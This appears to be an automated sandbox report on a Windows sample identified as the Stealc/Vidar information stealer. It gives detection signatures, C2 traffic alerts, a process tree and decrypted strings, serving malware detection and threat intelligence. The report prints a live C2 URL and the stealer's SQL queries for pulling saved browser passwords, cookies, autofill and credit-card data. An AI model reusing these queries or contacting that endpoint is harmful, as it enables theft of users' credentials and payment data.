Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1545807
MD5:	08093ca094e4bd396c0a1202363ce047
SHA1:	ea36ec8698c53b8542da008357f3d8bf8fdb6e67
SHA256:	f038c0ca2a82ce96f8fe33c5f458e0cbd043f96559795b93c1cbf411c3017c13
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5260 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 08093CA094E4BD396C0A1202363CE047)

chrome.exe (PID: 2796 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7056 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=2132,i,11183207803879685055,12485712220521479239,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 8180 cmdline: "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7836 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2396 --field-trial-handle=2360,i,16132675019208268467,7043388266169476351,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 1772 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7060 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2672 --field-trial-handle=2588,i,14145993167360465944,9521195328599800155,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7604 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6976 --field-trial-handle=2588,i,14145993167360465944,9521195328599800155,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7628 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7156 --field-trial-handle=2588,i,14145993167360465944,9521195328599800155,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8276 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7300 --field-trial-handle=2588,i,14145993167360465944,9521195328599800155,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2459973983.0000000000C81000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2461007040.00000000014CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2041928747.0000000005390000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2461007040.0000000001527000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5260	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 5260	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5260	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5260	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.c80000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 5260, ParentProcessName: file.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 2796, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T03:04:02.197811+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T03:04:02.190662+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T03:04:02.475823+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T03:04:03.578698+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T03:04:02.482880+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T03:04:01.906568+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T03:04:04.113451+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-31T03:04:30.578233+0100	2803304	3	Unknown Traffic	192.168.2.5	49823	185.215.113.206	80	TCP
2024-10-31T03:04:31.947020+0100	2803304	3	Unknown Traffic	192.168.2.5	49823	185.215.113.206	80	TCP
2024-10-31T03:04:32.872134+0100	2803304	3	Unknown Traffic	192.168.2.5	49823	185.215.113.206	80	TCP
2024-10-31T03:04:34.044145+0100	2803304	3	Unknown Traffic	192.168.2.5	49823	185.215.113.206	80	TCP
2024-10-31T03:04:36.051650+0100	2803304	3	Unknown Traffic	192.168.2.5	49823	185.215.113.206	80	TCP
2024-10-31T03:04:36.736069+0100	2803304	3	Unknown Traffic	192.168.2.5	49823	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.c80000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 0.2.file.exe.c80000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 39%
Source: file.exe	Virustotal: Detection: 40%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.file.exe.c80000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: 30
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: 11
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: 20
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: 24
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Sleep
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: sscanf
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: http://185.215.113.206
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: bksvnsj
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: /746f34465cf17784/
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: tale
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GlobalLock
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Process32First
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: FindClose
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: psapi.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: DeleteObject
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GdiplusStartup
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GdipDisposeImage
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GdipFree
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CoUninitialize
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CoInitialize
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CoCreateInstance
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetDC
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CloseWindow
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: wsprintfA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CharToOemW
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: wsprintfW
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: RegEnumValueA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: InternetOpenA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: StrCmpCA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: StrStrA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: StrCmpCW
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: RmStartSession
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: RmRegisterResources
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: RmGetList
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: RmEndSession
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: sqlite3_open
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: sqlite3_step
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: sqlite3_column_text
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: sqlite3_finalize
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: sqlite3_close
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: encrypted_key
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: PATH
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: NSS_Init
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: NSS_Shutdown
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: PK11_Authenticate
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: C:\ProgramData\
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: browser:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: profile:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: url:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: login:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: password:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Opera
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: OperaGX
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Network
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: cookies
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: .txt
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: TRUE
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: FALSE
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: autofill
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: history
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: cc
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: name:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: month:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: year:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: card:
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Cookies
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Login Data
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: Web Data
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: History
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: logins.json
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: formSubmitURL
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: usernameField
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: encryptedUsername
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: encryptedPassword
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: guid
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.c80000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
